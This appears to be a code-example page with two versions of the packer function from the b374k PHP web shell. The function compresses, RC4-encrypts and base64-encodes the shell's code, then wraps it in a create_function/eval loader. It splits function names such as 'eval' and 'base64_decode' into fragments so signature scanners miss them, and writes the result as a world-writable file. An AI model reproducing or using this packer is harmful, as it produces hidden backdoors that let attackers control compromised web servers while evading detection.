Beispiel #1
0
function packer_b374k($output, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password)
{
    $content = "";
    if (is_file($output)) {
        if (!is_writable($output)) {
            return "error : file " . $output . " exists and is not writable{[|b374k|]}";
        }
    }
    if (!empty($password)) {
        $password = "******"" . sha1(md5($password)) . "\"; // sha1(md5(pass))\n";
    }
    $cipher_key = "\$GLOBALS['cipher_key'] = \"" . $GLOBALS['cipher_key'] . "\";";
    $compress_level = (int) $compress_level;
    if ($compress_level < 0) {
        $compress_level = 0;
    } elseif ($compress_level > 9) {
        $compress_level = 9;
    }
    $version = "";
    if (preg_match("/\\\$GLOBALS\\['ver'\\]\\ *=\\ *[\"']+([^\"']+)[\"']+/", $phpcode, $r)) {
        $version = $r[1];
    }
    $header = "<?php\n";
    $rc4_function = $compress == "rc4" ? 'function rc4($a,$b){$c=array();for($d=0;$d<256;$d++){$c[$d]=$d;}$e=0;for($d=0;$d<256;$d++){$e=($e+$c[$d]+ord($a[$d%strlen($a)]))%256;$f=$c[$d];$c[$d]=$c[$e];$c[$e]=$f;}$d=0;$e=0;$g="";for($h=0;$h<strlen($b);$h++){$d=($d+1)%256;$e=($e+$c[$d])%256;$f=$c[$d];$c[$d]=$c[$e];$c[$e]=$f;$g.=$b[$h]^chr($c[($c[$d]+$c[$e])%256]);}return $g;}' : '';
    if ($strip == 'yes') {
        $phpcode = packer_strips($phpcode);
        $htmlcode = preg_replace("/(\\ {2,}|\n{2,}|\t+)/", "", $htmlcode);
        $htmlcode = preg_replace("/\r/", "", $htmlcode);
        $htmlcode = preg_replace("/}\n+/", "}", $htmlcode);
        $htmlcode = preg_replace("/\n+}/", "}", $htmlcode);
        $htmlcode = preg_replace("/\n+{/", "{", $htmlcode);
        $htmlcode = preg_replace("/\n+/", "\n", $htmlcode);
    }
    $content = $phpcode . $htmlcode;
    $content = preg_replace('/^<\\?php/s', '<?php ' . $cipher_key, $content);
    if ($compress == 'gzdeflate') {
        $content = gzdeflate($content, $compress_level);
        $encoder_func = "gz'.'in'.'fla'.'te";
    } elseif ($compress == 'gzencode') {
        $content = gzencode($content, $compress_level);
        $encoder_func = "gz'.'de'.'co'.'de";
    } elseif ($compress == 'gzcompress') {
        $content = gzcompress($content, $compress_level);
        $encoder_func = "gz'.'un'.'com'.'pre'.'ss";
    } elseif ($compress == "rc4") {
        $content = rc4($GLOBALS['cipher_key'], $content);
        $encoder_func = "r" . "c4";
    } else {
        $encoder_func = "";
    }
    if ($base64 == 'yes') {
        $content = base64_encode($content);
        if ($compress != 'no') {
            if ($compress == "rc4") {
                $encoder = $encoder_func . "(isset(\$_SERVER[\\'HTTP_RC4_KEY\\'])?\$_SERVER[\\'HTTP_RC4_KEY\\']:\\'b374k\\',ba'.'se'.'64'.'_de'.'co'.'de(\$x))";
            } else {
                $encoder = $encoder_func . "(ba'.'se'.'64'.'_de'.'co'.'de(\$x))";
            }
        } else {
            $encoder = "ba'.'se'.'64'.'_de'.'co'.'de(\"\$x\")";
        }
        $code = $header . $password . "\$func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on\";\$b374k=\$func('\$x','ev'.'al'.'(\"?>\"." . $encoder . ");');\$b374k(\"" . $content . "\");{$rc4_function}?>";
    } else {
        if ($compress != 'no') {
            $encoder = $encoder_func . "(\$x)";
        } else {
            $code = $header . $password . "?>" . $content;
            $code = preg_replace("/\\?>\\s*<\\?php\\s*/", "", $code);
        }
    }
    if (is_file($output)) {
        unlink($output);
    }
    if (packer_write_file($output, $code)) {
        chmod($output, 0777);
        return "Succeeded : <a href='" . $output . "' target='_blank'>[ " . $output . " ] Filesize : " . filesize($output) . "</a>{[|b374k|]}" . packer_html_safe(trim($code));
    }
    return "error{[|b374k|]}";
}
Beispiel #2
0
function packer_b374k($output, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password)
{
    $content = "";
    if (is_file($output)) {
        if (!is_writable($output)) {
            return "error : file " . $output . " exists and is not writable{[|b374k|]}";
        }
    }
    if (!empty($password)) {
        $password = "******"" . sha1(md5($password)) . "\"; // sha1(md5(pass))\n";
    }
    $compress_level = (int) $compress_level;
    if ($compress_level < 0) {
        $compress_level = 0;
    } elseif ($compress_level > 9) {
        $compress_level = 9;
    }
    $version = "";
    if (preg_match("/\\\$GLOBALS\\['ver'\\]\\ *=\\ *[\"']+([^\"']+)[\"']+/", $phpcode, $r)) {
        $version = $r[1];
    }
    $header = "<?php\n/*\n\tb374k shell " . $version . "\n\tJayalah Indonesiaku\n\t(c)" . @date("Y", time()) . "\n\thttps://github.com/b374k/b374k\n\n*/\n";
    if ($strip == 'yes') {
        $phpcode = packer_strips($phpcode);
        $htmlcode = preg_replace("/(\\ {2,}|\n{2,}|\t+)/", "", $htmlcode);
        $htmlcode = preg_replace("/\r/", "", $htmlcode);
        $htmlcode = preg_replace("/}\n+/", "}", $htmlcode);
        $htmlcode = preg_replace("/\n+}/", "}", $htmlcode);
        $htmlcode = preg_replace("/\n+{/", "{", $htmlcode);
        $htmlcode = preg_replace("/\n+/", "\n", $htmlcode);
    }
    $content = $phpcode . $htmlcode;
    if ($compress == 'gzdeflate') {
        $content = gzdeflate($content, $compress_level);
        $encoder_func = "gz'.'in'.'fla'.'te";
    } elseif ($compress == 'gzencode') {
        $content = gzencode($content, $compress_level);
        $encoder_func = "gz'.'de'.'co'.'de";
    } elseif ($compress == 'gzcompress') {
        $content = gzcompress($content, $compress_level);
        $encoder_func = "gz'.'un'.'com'.'pre'.'ss";
    } else {
        $encoder_func = "";
    }
    if ($base64 == 'yes') {
        $content = base64_encode($content);
        if ($compress != 'no') {
            $encoder = $encoder_func . "(ba'.'se'.'64'.'_de'.'co'.'de(\$x))";
        } else {
            $encoder = "ba'.'se'.'64'.'_de'.'co'.'de(\"\$x\")";
        }
        $code = $header . $password . "\$func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on\";\$b374k=\$func('\$x','ev'.'al'.'(\"?>\"." . $encoder . ");');\$b374k(\"" . $content . "\");?>";
    } else {
        if ($compress != 'no') {
            $encoder = $encoder_func . "(\$x)";
        } else {
            $code = $header . $password . "?>" . $content;
            $code = preg_replace("/\\?>\\s*<\\?php\\s*/", "", $code);
        }
    }
    if (is_file($output)) {
        unlink($output);
    }
    if (packer_write_file($output, $code)) {
        chmod($output, 0777);
        return "Succeeded : <a href='" . $output . "' target='_blank'>[ " . $output . " ] Filesize : " . filesize($output) . "</a>{[|b374k|]}" . packer_html_safe(trim($code));
    }
    return "error{[|b374k|]}";
}